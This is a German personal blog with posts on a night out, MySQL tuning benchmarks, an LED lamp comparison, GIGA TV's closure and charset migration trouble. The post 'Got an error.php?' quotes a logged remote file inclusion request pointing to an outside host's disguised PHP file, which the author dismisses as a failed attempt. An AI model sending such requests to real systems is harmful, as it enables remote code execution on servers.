Am Tisch, unterm Tisch, aufm Tisch

Hui, doch schon was her, dass ich über uns Freaks geschrieben habe. Unser Besuch im Dreams, das Currywurstfest und die Schlittentour sind nur in der Gallery zu finden. Heute Nachmittag kam dann, wie immer recht sponan, die Idee in Andernach einzufallen. Treffen 20:30 vorm „Diebels“ – nur da war Keiner. Dieses mal sogar im doppelten Sinne: Dass der „Rest“ gerne mal später kommt als angekündigt ist nichts neues, aber auch im Diebels herrschte gähnende Leere – lediglich die Kellnerin hatte sich an der Theke eingefunden. Nunja, erst mal sicherten Fahrer Thomas und ich eine passende Sitzgelegenheit und orderten die ersten Flüssigwaren. Kurz darauf trafen dann auch Andrea, Heike, Tina, Chris W. und Tristan ein, dicht gefolgt von Mine und schlussendlich dem Rest der Damenrunde. Inzwischen hatten sich schon ein paar Gäste eingefunden und langsam kam Stimmung ins Lokal – bis zu einem Punkt: Nach den ersten Bieren und dem Abendessen hatte Christian die großartige Idee einer Wette. Grob gesagt ging es darum, dass er zu der eher pop-lastigen Musik auf dem Tisch tanzt, wenn Freundin Heike ihr Oberteil hochzieht. Tja, sie tat es (kein Wunder, hatte ja auch noch ein T-Shirt drunter). Mit entsprechender Unterstützung der Anwesenden sowie Aufforderung des DJs legte Chris sodann eine Koreographie auf den Tisch, welche jede Boy-Band blass aussehen ließ. Nun gabs kein Halten mehr. Während die Musik (zu meinem Leidwesen) mit steigender Besucherzahl vom Rock in die Karnevalsmusik wechselte wurden die Bierdeckel voller, die Bänke zur Tanzfläche umfunktioniert und während Andrea, Heike, Chris und Thomas zu „Cotton-Eyed Joe“ die Durchgänge blockierten versuchte sich Mine unterm Tisch mit dem Reparieren von Laufmaschen. Dass u.A. Chris in den folgenden Stunden auch zu den Backstreet-Boys sang und tanzte soll ich nicht erwähnen. Nachdem die Bedienung am Ende unsere Deckelsammlung irgendwie verwurschtelt hatte gings für Andrea, Heike, Tina, Chris, Thomas und mich abschließend zum obligatorischem McDonalds-Besuch – btw, liebe Tina: Auf die Frage „Ist da noch wer drin?“ antworten Burger eher selten mit einem „Ja, hier“.

MySQL-Defaults und die Praxis

Bild: http://adlersa.yotaweb.de/blog/wp-content/uploads/2009/02/mysql_queries-week.pngMySQL ist für kleine Anwendungen bereits seit langem der Datenbankstandard, dummerweise wird aus Zeitgründen häufig einfach nur das Setup aufs System gebügelt und auf jede unnötige Konfiguration verzichtet. Dabei kann gerade über den key_buffer und query-cache ohne großen Aufwand die Geschwindigkeit drastisch gesteigert werden. MySQL selbst bringt eine Konfiguration mit, welche darauf ausgelegt ist auf nahezu allen Systemen lauffähig zu sein. Gerade in Rechnern, welche über Arbeitsspeicher im Gigabytebereich verfügen, bleibt ein Großteil der Leistung ungenutzt. Als Beispiel hier die Werte einer größeren PHP-Applikation mit MySQL-Anbindung:

Default configuration:
Requests per second: 3.74
Time per request: 2672.198

Basic optimization:
Requests per second: 6.85
Time per request: 1459.804

Wie man sieht können fast doppelt so viele Anfragen pro Sekunde abgearbeitet werden, die Ladezeit verkürzt sich entsprechend. Das ganze lediglich durch einige allgemeine Einstellungen, mit anwendungsspezifischer Optimierung an Datenbank und Webserver wäre bestimmt noch etwas mehr drin.

Music Industry Fail

Bild: http://adlersa.yotaweb.de/blog/wp-content/uploads/2009/02/bildschirmfoto-150×150.pngTja, dass die Musikindustrie bei Vertriebsmethoden häufiger ihre Unfähigkeit unter Beweis stellen ist nix neues, die Ideenlosigkeit bei der Kreation neuer Songs führte mir das momentan medial gehypte und imo misslungene Cover von Subway to Sallys „Eisblumen“ heute auch nochmal zu Augen und Ohren. Nun gesellt sich noch die technische Inkompetenz außerhalb der Silberscheiben hinzu – zu dem Bild kann ich nur eins sagen: RTFM…

LED-Benchmark: Kampf der Dioden

Bereits seit einigen Wochen werkelt in meinem Wohnbereich eine LED-Lampe. Heut ist nun das zweite Modell für meinen Arbeitsbereich eingetroffen. Hier ein kleiner Vergleich.

Anfangen werde ich mit den Daten der „Wohn-Lampe“. Es handelt sich um ein 230V-Modell mit E14-Sockel und 78 LEDs, welche für ca. 16EUR bei einem großen Elektroversand bestellt werden kann. Im Shop findet sich keine Typenangabe, über die Verpackung lässt sich aber der Vertreiber samt Datenblatt ermitteln.

Die „Arbeits-Lampe“ ist ein Modell mit nur einer Hochleistungsdiode. Das Gehäuse fungiert als Kühlkörper. In der Ausführung mit E28-Sockel und einem Spannungsbereich von 85-265V ist sie über einen Onlineshop aus Hongkong für umgerechnet 11,50EUR incl. Versand erhältlich. Das „Datenblatt“ des Pappkartons ist mit Kuli ausgefüllt und enthält nur eine Hand voll Daten.

Übersicht der Herstellerangaben:

Bezeichnung Wohn-Lampe Arbeits-Lampe
Hersteller/Vertreiber LEDGalaxy ??
Modell JDR-1478-W ZV1-1? (Unleserlich)
LEDs 78 1
Farbe Weiß (6500°-8000°K) Weiß
Leistung 2,5-3W 3W
Spannung 230V 85-265V
Sockel E14 E28

Optisch fällt direkt auf, dass das Arbeits-Modell trotz des größeren Sockels durch die 1-LED-Technik deutlich kompakter ist. Das Wohn-Modell war Dank 63mm Durchmesser ohne Modifikation der Fassung nicht nutzbar. Dafür ist die Abwärme des 78er Modells geringer. Während diese Lampe auch nach längerem Betrieb lediglich Handwarm wird kann der Kühlkörper samt LED mit einem stark belastetem Notebook-Netzteil mithalten und ist knapp unter der „Zu warm zum festhalten“-Grenze.

Es folgen einige meiner Messwerte – diese sind nicht unter Laborbedingungen angefertigt […blabla…] aber sollten eine grobe Abschätzung zulassen.

Bezeichnung Wohn-Lampe Arbeits-Lampe
Lichtstärke
1m Abstand, frontal
100Lux 800Lux
Lichtstärke
1m Abstand, 10°
85Lux 35Lux
Lichtstärke
1m Abstand, 20°
70Lux 15Lux
Verbrauch
30 Sekunden nach Einschalten
6,0W 3,2W
13097
13092

Wie man sieht kann die Wohn-Lampe die angegebenen 45° ausspielen und sorgt auch in den Randbereichen für eine respektable Ausleuchtung. Das Streu-Licht einer Reflektorlampe kann sie nicht ersetzen, dagegen hält der Verbrauch von 6W – ob man nun eher auf Ausleuchtung oder Verbrauch schaut muss man selbst entscheiden. Ich habe zur Sicherheit neben der LED, welche als normale Durchgangs- und Lesebeleuchtung ausreichend ist, eine zusätzliche Leuchtstofflampe, welche bei Besuch o.Ä. genutzt werden kann.

13087
13082

Die Arbeitslampe hat exakt einen Anwendungsbereich: Punktuelle Ausleuchtung. Hier dürfte sie mit über 800Lux die meisten Glühlampen übertrumpfen. Ebenso deutlich wie die frontale Lichtstärke ist auch der Einbruch der selbigen in den Randbereichen – für Räume definitiv ungeeignet. Dafür wird der Verbrauch mit etwas über 3W nochmal halbiert. Dem Angegeben Spannungsbereich zu Urteilen könnte bei 110V sogar eine noch bessere Effizienz drin sein. Für die Beleuchtung meiner Bastelecke ist die Lampe kein Fehlgriff – das Licht Trifft präzise wie im OP auf meine Steckbretter.

GIGA stellt Sendebetrieb ein

Auch, wenn ich in TV und Community nicht mehr aktiv bin: Giga ruft immer Erinnerungen hervor, so ist diese Nachricht direkt im Sichtfeld hängen geblieben. Die aktuelle Lage im Werbe- und Gamingmarkt haben es bereits vermuten lassen: Spielen geht offenbar nicht immer. Eigentümer Premiere wird zum 31.März den Sendebetrieb einstellen. Eine entsprechende News wurde heute, am Freitag den 13., im GIGA-Blog veröffentlicht und ging kurz danach über den Presseticker. Neue Sendungen werden ab sofort nicht mehr ausgestrahlt. Auch eine Abschiedssendung wird es offenbar nicht mehr geben, diese Aufgabe wird für die Community nun wohl die Mädels und Jungs der Fan-Sendung GIGA.United übernehmen müssen, welche am 4. April wieder für 24 Stunden ausgestrahlt wird.

Heute im Angebot: Mailrouter

Bei einigen Fehlermeldungen muss man schon schmunzeln…

[…]er hat einen Mailrouter bekommen[…]Was können wir nun da machen?

Eventuell lässt sich der Mailrouter ja bei gebraucht eBay verkaufen, ansonsten übernehme ich in solchen Fällen die Eliminierung des „Routers“ gegen einen kleinen Obulus in Form einer SMTP-Fehlermeldung…

Got an error.php?

Wird ja immer kreativer hier… Soeben schleicht sich folgende Zeile ins Log:

"GET /files/tools/****/errors.php?error=http://***.com.ar/images/idia.jpg??? HTTP/1.1" 404 319 "-" "libwww-perl/5.79"

Hinter dem JPEG verbirgt sich ein PHP-Quelltext, welcher mit
echo "NigeriaN HackerS TeaM";
endet

Netter Versuch, aber blind Dateien per $_GET includen hat sich selbst mein Azubi abgewöhnt und register_globals habe ich seit Jahren nirgendwo mehr aktiv gesehen. Dummerweise ist die Whois-Datenbank für .com.ar momentan down, sonst hätte ichs mal beim Provider versucht. So bleibt mir nur es MkSwap gleich zu tun und dem NHT einen schönen Tag zu wünschen…

unset localhost – Willkommen auf dem neuen Server

Endlich geschafft. Trotz Sonderzeichenproblematik ist der Blog samt Gallery nun irgendwie auf dem neuen Server angekommen. Gleichzeitig noch WordPress auf die 2.7er Serie hochgezogen und diverse Sachen ausgemistet, wenn man schon alles zerlegt dann richtig. Mein Blog dient hier als Testgelände bevor ich mich in den nächsten Tagen an die anderen Kandidaten mache.

–Edit–
Ich höre grade, dass ABS atm Registrierungen und Abmeldungen nicht verarbeitet. Dürfte daran liegen, dass momentan GUI und Backend auf verschiedenen Server liegen, werde ich morgen beheben.

Schei? encoding – MySQL vs. Charsets

Encoding ist ja schon was feines – und vorallem etwas, dass offenbar überall Probleme macht. Alleine um einen Überblick über den heutigen Tag zu geben:

Eventim begrüßt mich mit

Lieber eventim.de-Kunde,

Sie haben sich für den[….]

ein Telekom-Mitarbeiter verabschiedet sich als

J?rgen L[…]

(Ja, die Formatierung ist original aus der Outlook-Mail)

und im gerade eingetroffenen Chatlog sehe ich auch nur ü’s

Aber auch mich hats Heute erwischt: MySQL und Umlaute waren schon immer eine schlechte Idee. Beim Umzug auf den neuen Server wieder der alte K(r)ampf: Sonderzeichen die sich bemühen wirklich sonderbar zu sein. Egal welcher Exportcharset, egal welcher Importcharset – egal ob Konsole oder phpMyAdmin, sinnvolle Sonderzeichen waren der Datenbank nicht zu entlocken. Abhilfe schaffte die Software MySQLDumper, welche mir im SysCP-Chat empfohlen wurde. Dort die UTF8-Datenbank als latin1 exportieren und auf dem neuen Server das selbe File in phpMyAdmin als UTF8 importiert – logisch, oder? Da passt daer MySQL-Ikea-Vergleich der aktuellen Datenschleuder irgendwie…

Nerd Inside